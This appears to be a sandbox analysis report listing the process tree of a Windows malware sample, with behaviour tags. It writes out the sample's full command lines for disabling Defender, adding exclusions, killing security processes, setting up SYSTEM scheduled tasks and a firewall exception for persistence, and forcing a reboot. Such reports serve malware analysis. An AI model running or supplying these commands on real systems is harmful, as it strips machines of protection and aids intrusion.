- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:932
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5476
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:3888
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5412
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5528
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5436
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5604
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1048
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3988
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4512
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4520
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1180
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:1752
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5640
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:2788
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1064
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Features\" /v TamperProtection /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3936
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Features\" /v TamperProtection /t REG_DWORD /d 4 /f
    3⤵
    PID:5052
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\Microsoft\WinSvc\" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2308
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\Microsoft\WinSvc\" /t REG_DWORD /d 0 /f
    3⤵
    PID:2024
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\" /v \"winsvc32.exe\" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3828
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\" /v \"winsvc32.exe\" /t REG_DWORD /d 0 /f
    3⤵
    PID:1112
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop WinDefend"
  2⤵
  - Executes a command shell one-liner
  PID:2424
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:4392
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop WdNisSvc"
  2⤵
  PID:1960
- - C:\Windows\system32\sc.exe
    sc stop WdNisSvc
    3⤵
    - Launches sc.exe
    PID:4600
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop WdFilter"
  2⤵
  - Executes a command shell one-liner
  PID:4700
- - C:\Windows\system32\sc.exe
    sc stop WdFilter
    3⤵
    - Launches sc.exe
    PID:4724
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop WdBoot"
  2⤵
  - Executes a command shell one-liner
  PID:4500
- - C:\Windows\system32\sc.exe
    sc stop WdBoot
    3⤵
    - Launches sc.exe
    PID:4276
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc stop SgrmBroker"
  2⤵
  - Executes a command shell one-liner
  PID:1312
- - C:\Windows\system32\sc.exe
    sc stop SgrmBroker
    3⤵
    - Launches sc.exe
    PID:5664
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:536
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1456
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:1204
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5712
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MpDefenderCoreService.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2184
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MpDefenderCoreService.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2396
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im SecHealthUI.exe"
  2⤵
  PID:1136
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5972
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:2488
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:5832
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:2500
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:5940
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2108
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3620
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3576
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:732
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2404
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5208
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:6008
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5584
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4776
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2892
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:896
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3292
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  PID:1636
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5984
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4468
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2180
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  PID:2204
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:3348
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:2992
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:936
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4760
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5348
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4360
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4668
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4416
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2280
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3508
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:216
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4908
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:412
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4408
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3020
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  PID:3872
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1892
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:548
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5556
- C:\Windows\System32\svchost.exe
  "C:\Windows\System32\svchost.exe" -k netsvcs
  2⤵
  PID:5908
- C:\Windows\system32\cmd.exe
  "cmd" /c "start \"\" \"C:\ProgramData\Microsoft\WinSvc\winsvc32.exe\""
  2⤵
  - Enumerates connected drives
  PID:4200
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:5248
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:2192
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:2436
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:2988
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1096
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4340
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:456
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4120
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5052
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2800
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3416
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4252
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3984
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4164
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:3252
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4600
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4852
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4972
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4508
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4228
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"\Microsoft\Windows\ZZWinSvcStage2\" /tr \"cmd /c C:\ProgramData\Microsoft\WinSvc\stage2.bat\" /sc onstart /ru SYSTEM /rl highest /f"
  2⤵
  - Executes a command shell one-liner
  PID:5664
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"\Microsoft\Windows\ZZWinSvcStage2\" /tr \"cmd /c C:\ProgramData\Microsoft\WinSvc\stage2.bat\" /sc onstart /ru SYSTEM /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1644
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"\Microsoft\Windows\ZZWinSvcStage2L\" /tr \"cmd /c C:\ProgramData\Microsoft\WinSvc\stage2.bat\" /sc onlogon /ru SYSTEM /rl highest /f"
  2⤵
  PID:5700
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"\Microsoft\Windows\ZZWinSvcStage2L\" /tr \"cmd /c C:\ProgramData\Microsoft\WinSvc\stage2.bat\" /sc onlogon /ru SYSTEM /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6080
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"\Microsoft\Windows\ZZZWinsvcClean\" /tr \"C:\ProgramData\Microsoft\WinSvc\wd.bat\" /sc minute /mo 4 /ru SYSTEM /rl highest /f"
  2⤵
  - Executes a command shell one-liner
  PID:5780
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"\Microsoft\Windows\ZZZWinsvcClean\" /tr \"C:\ProgramData\Microsoft\WinSvc\wd.bat\" /sc minute /mo 4 /ru SYSTEM /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5404
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:880
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:5736
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:1028
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:3536
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:944
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5688
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5432
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1940
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2432
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:5040
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3972
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:744
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2856
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:756
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3932
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:1236
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5880
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:5384
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4480
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\.NETFramework\" /v OnlyUseLatestCLR /t REG_DWORD /d 1 /f"
  2⤵
  PID:5048
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SOFTWARE\Microsoft\.NETFramework\" /v OnlyUseLatestCLR /t REG_DWORD /d 1 /f
    3⤵
    PID:5216
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:2572
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:1416
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  PID:932
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:3020
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:552
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1004
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4436
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2052
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:820
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2428
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:2344
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3160
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:1836
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4968
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4708
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1948
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:2316
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4264
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4372
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4744
- C:\Windows\system32\cmd.exe
  "cmd" /c "shutdown /r /t 12 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4684
- - C:\Windows\system32\shutdown.exe
    shutdown /r /t 12 /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5100

C:\ProgramData\Microsoft\WinSvc\winsvc32.exe
"C:\ProgramData\Microsoft\WinSvc\winsvc32.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:5440
- C:\Windows\SysWOW64\._cache_winsvc32.exe
  "C:\Windows\system32\._cache_winsvc32.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4664
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\Windows\SysWOW64\._cache_winsvc32.exe" "._cache_winsvc32.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
